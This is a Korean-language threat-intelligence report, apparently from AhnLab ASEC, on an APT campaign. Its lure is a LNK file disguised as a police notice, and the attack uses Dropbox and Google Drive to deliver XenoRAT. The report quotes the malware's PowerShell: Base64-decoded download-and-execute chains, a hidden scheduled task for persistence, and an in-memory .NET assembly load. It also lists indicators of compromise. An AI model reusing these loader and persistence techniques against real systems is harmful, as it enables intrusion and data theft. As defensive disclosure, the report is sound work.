Cloud storage를 활용하는 APT 공격
AhnLab SEcurity intelligence Center(ASEC) 에서는 GoogleDrive, OneDrive, DropBox와 같은 클라우드 서비스를 사용하여 사용자의 정보를 수집하거나 악성코드를 유포하는 공격 사례를 꾸준히 공유하였다.[1][2][3] 공격자는 주로 악성 스크립트 및 RAT 악성코드, 디코이 문서 파일 등을 클라우드 서버에 업로드하여 공격을 수행한다. 업로드된 여러 파일들은 유기적으로 동작하여 다양한 악성 행위를 수행한다.
최초 유포 파일부터 최종 RAT 유형의 악성코드가 실행되는 과정은 다음과 같다.

이러한 공격 유형은 [그림 1]과 같이 다수의 파일이 연결되어 있으며 모두 공격자의 클라우드를 통해 동작한다. 이로 인해 본문에서 확인되지 않은 악성코드가 다운로드되거나 정보 유출 외 다양한 악성 행위가 수행될 수 있다.
최초 유포 파일로는 EXE, 바로가기 파일(*.LNK) 등이 확인되었으며, 본문에서는 최근 APT 공격에 자주 사용되는 LNK 파일을 통해 동작 과정을 설명한다.
1. 유포 파일 (바로가기 파일(*.LNK))
확인된 LNK 파일은 다음과 같이 HTML 문서로 위장하고 있으며 사용자의 클릭을 유도하는 파일명을 지니고 있다.
- 경찰청 사이버수사국 – 인터넷 이용 기록 (pc안전을 위해 지금 바로 확인해주세요).html.lnk

LNK 파일에는 파워쉘 명령어가 존재한다. LNK 파일 실행 시 Base64로 난독화된 명령어를 디코딩하여 TEMP 폴더에 ms_temp_08.ps1 파일명으로 저장 후 실행한다.
..\..\..\..\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
"$ss =\"[Base64 인코딩된 명령어]\";
$aa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));
$cc = [System.IO.Path]::GetTempPath();
$dd = \"ms_temp_08.ps1\";
$ee = Join-Path $cc $dd;
$aa | Out-File -FilePath $ee;
$aaaaa= 89897878;
powershell -windowstyle hidden -ExecutionPolicy Bypass $ee"
- ms_temp_08.ps1
생성된 ms_temp_08.ps1는 디코이 문서 파일과 추가 악성 파일 다운로드 및 작업 스케쥴러 등록 행위를 수행한다. 실행되는 파워쉘 명령어는 다음과 같다.
$hhh = Join-Path ([System.IO.Path]::GetTempPath()) "경찰청 사이버수사국 - 인터넷 이용 기록 (PC안전을 위해 지금 바로 확인해주세요).html";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/lpoo2f42y7x5uy6druxa0/SoJ****.html?rlkey=ckv37q02rh9j1qsw7ed28bimv&st=64zsdvba&dl=0" -OutFile $hhh; & $hhh;
$filePath = Join-Path ([System.IO.Path]::GetTempPath()) "ms_update.ps1";
$str = '$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1"; Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/SoJ****-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;';
$str | Out-File -FilePath $filePath -Encoding UTF8;
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -nop -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& {$filePath = Join-Path ([System.IO.Path]::GetTempPath()) \"ms_update.ps1\";powershell -windowstyle hidden -ExecutionPolicy Bypass -File $filePath;}"';
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30);
$settings = New-ScheduledTaskSettingsSet -Hidden;
Register-ScheduledTask -TaskName "MicrosoftUpdate" -Action $action -Trigger $trigger -Settings $settings;
$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "first.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/gswgcmbktt1hthntozgep/SoJ****-F.txt?rlkey=n9xglo02xfnf14b9btgtw8aqi&st=w9zt1es5&dl=0" -OutFile $aaa; & $aaa;
해당 파워쉘 명령은 가장 먼저 디코이 문서 파일(정상 HTML 파일)을 다운로드한다. 다운로드된 파일은 LNK 파일명과 동일한 ‘경찰청 사이버수사국 – 인터넷 이용 기록 (PC안전을 위해 지금 바로 확인해주세요).html’ 명으로 저장 및 실행하여 사용자로 하여금 악성 행위가 수행되고 있음을 알아차리기 어렵게 한다. 디코이 문서 파일은 분석 당시 다운로드 되지 않아 파일 내용 확인이 불가하였다.
이후 TMEP 폴더에 ms_update.ps1 명의 파워쉘 스크립트 파일을 생성하고, 해당 스크립트가 30분마다 실행될 수 있도록 MicrosoftUpdate 명으로 작업 스케줄러에 등록한다.

또한, 공격자의 DropBox에서 SoJ****-F.txt 명의 파일을 다운로드하여 TEMP 폴더에 first.ps1 명으로 저장 후 실행한다.
- ms_update.ps1
해당 스크립트 파일은 공격자의 DropBox에서 SoJ****-X.txt 명의 파일을 다운로드하여 TEMP 폴더에 info.ps1 명으로 저장 후 실행한다.
$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1";
Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/So****g-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;
분석 중 공격자의 또 다른 DropBox에서 HTML 뿐만 아니라 워드 문서, 한글 문서, PDF 등 다양한 포맷의 디코이 문서 파일이 확인되었다. 추가 확인된 디코이 문서는 다음과 같다.




이처럼 공격자는 다양한 주제의 디코이 문서를 소유하고 있으며, 이 외에도 대학교 협조 요청문, 기업 납품 확인서, 국제 정세와 관련된 문서 파일들이 확인되었다. 특히 전세계약서 및 보험/대출 내용과 같이 특정 개인의 정보가 포함된 파일을 디코이 문서로 사용하는 것으로 보아 공격 대상을 분명하게 선정하여 악성코드를 유포하는 것으로 보인다.
2. 클라우드를 통해 다운로드 된 악성코드
앞서 LNK 파일을 통해 공격자의 클라우드에서 first.ps1(SoJ****-F.txt)과 info.ps1(SoJ****-X.txt) 두 가지 파일이 다운로드된다. 분석 당시 위에서 확인된 DropBox에서 해당 파일이 다운로드되지 않았지만, 공격자의 또 다른 DropBox에서 해당 유형의 스크립트 파일들을 수집하였다.
특정 개인 이름으로 스크립트 파일이 업로드된 경우도 확인되어 공격 대상마다 서로 다른 악성 행위가 수행될 것으로 추정된다. 추가 확인된 파일명은 다음과 같다.
| 파일명 |
|---|
| SoJ***g-F.txt |
| Kim***un-F.txt |
| I***ong-F.txt |
| Hong***a-F.txt |
| Jon***n-F.txt |
| 0513chrome-f.txt |
| 0514edge-f.txt |
표. 확인된 스크립트 파일명
공격자는 사용자마다 폴더를 생성하였으며 각 폴더에는 디코이 문서와 [name]-F.txt , [name]-X.txt 파일이 존재하였다. 스크립트 파일은 모두 공통적으로 DropBox 인증을 위해 토큰 기반 인증 방식을 사용하며 각 파일에는 client_id, client_secret, refresh_token 값이 포함되어 있다.
각 파일에 대한 분석 정보는 다음과 같다.
- first.ps1(SoJ****-F.txt)
파워쉘 명령어가 포함된 스크립트로 실행 시 사용자 PC 정보를 수집하여 공격자 DropBox에 업로드한다.
실행 시 사용자 PC 정보를 수집하여 TEMP 혹은 APPDATA 폴더에 [IP주소]-[현재 시각]-Run-[name].txt(또는 [IP주소]-[현재 시각]-RRR-[name].txt)파일에 저장한다. 수집하는 정보는 다음과 같다.
- OS Caption, Version, BuildNumber, OSArchitecture 정보
- 설치된 백신 정보
- 마지막 부팅 시간
- PC 종류 (Laptop / Desktop)
- 프로세스 정보
- 파워쉘 실행 정책 정보
이후 수집된 정보는 공격자 DropBox에 ‘[IP주소]-[현재시각]-Run-[name].txt(또는 [IP주소]-[현재 시각]-RRR-[name].txt)’ 명으로 업로드 된다.

- info.ps1(SoJ****-X.txt)
파워쉘 명령어가 포함된 스크립트로 실행 시 특정 파일을 공격자 DropBox에 업로드하고, 추가 악성코드를 다운로드 및 실행한다.
TEMP 혹은 APPDATA 폴더에 [IP주소]-[현재 시각]-XXX-[name].txt 파일을 생성하여 동일한 파일명으로 공격자 DropBox에 업로드한다. 분석 당시 해당 파일에 저장되는 데이터는 없었으며, 해당 스크립트가 실행되었는지 여부를 확인하는 것으로 추정된다. 다만 추후 공격자에 의해 스크립트 코드가 수정될 시 다양한 정보를 수집하여 유출할 수 있다.
파일 업로드한 뒤 추가 악성코드를 다운로드하는데 이때 DropBox가 아닌 Google Drive를 활용한다. Google Drive를 통해 다운로드된 파일은 TEMP 폴더에 system-xn.dat 파일명으로 저장된다.
$dropboxShareLink = "hxxps://drive.google.com/uc?export=download&id=[생략]"
$tempPath = [System.IO.Path]::GetTempPath();
$filePath = Join-Path $tempPath "system-xn.dat"
Invoke-WebRequest -Uri $dropboxShareLink -OutFile $filePath
[byte[]]$bytes = [System.IO.File]::ReadAllBytes($filePath);
$bytes[0] = 0x1F;
$bytes[1] = 0x8B;
<중략>
$assembly = [System.Reflection.Assembly]::Load($exBytes);
Remove-Item -Path $filePath
$name = "Main";
foreach ($type in $assembly.GetTypes()){foreach ($method in $type.GetMethods()){if (($method.Name.ToLower()).equals($name.ToLower())){$method.Invoke($null, @());}}}
다운로드된 파일은 다음과 같이 RTF 문서 포맷처럼 보이도록 파일의 앞부분(File signature)을 변경하였다.

변경된 7바이트를 위 스크립트에서 확인된 값인 GZ 압축 파일의 File signature로 변경하면 압축된 파일을 확인할 수 있다.

압축 해제된 데이터는 C#(.NET) 파일로, 공격자는 내부 ‘Main’ Method를 불러 실행함으로써 악성코드가 Fileless 형태로 실행될 수 있도록 한다.
- system-xn.dat
위 과정을 통해 실행된 악성코드는 XenoRAT으로 공격자의 명령에 따라 악성코드 로드, 프로세스 실행 및 종료, C2 통신 등 다양한 악성 행위를 수행할 수 있다. 공격자에 의해 커스텀 된 XenoRAT으로 ‘swolf-20010512’를 Mutex명으로 사용하는 것이 특징이다.
C2 : 159.100.29[.]122:8811

분석 중 확인된 공격자의 이메일 정보는 다음과 같다.
- kumasancar@gmail[.]com
- effortnully@gmail[.]com
- tangdang77790@gmail[.]com
- tantanibox@gmail[.]com
- swolf0512@gmail[.]com
앞서 설명한 것과 같이 공격자의 클라우드에는 개인 정보가 포함되어 다수의 디코이 문서 파일이 확인된다. 공격자는 공격 대상을 미리 선정하고 관련 정보를 꾸준히 수집한 후 악성코드를 유포하는 것으로 보인다. 악성코드가 실행되면 정보 유출, 추가 악성코드 다운로드 할 뿐만 아니라 감염 시스템 제어 등 다양한 악성 행위를 수행할 수 있어 사용자의 각별한 주의가 요구된다. 또한, 최근 바로가기 파일을 이용한 악성코드가 다수 확인됨에 따라 사용자는 파일 실행 전 파일명의 확장자와 포맷이 일치하는지 확인이 필요하다.
파일 진단
Downloader/LNK.Powershell.S2547 (2024.04.12.03)
Trojan/PowerShell.Generic (2024.05.14.03)
Backdoor/Win.XenoRAT.R644842 (2024.04.12.02)
Backdoor/Win.XenoRAT.R644844 (2024.04.12.02)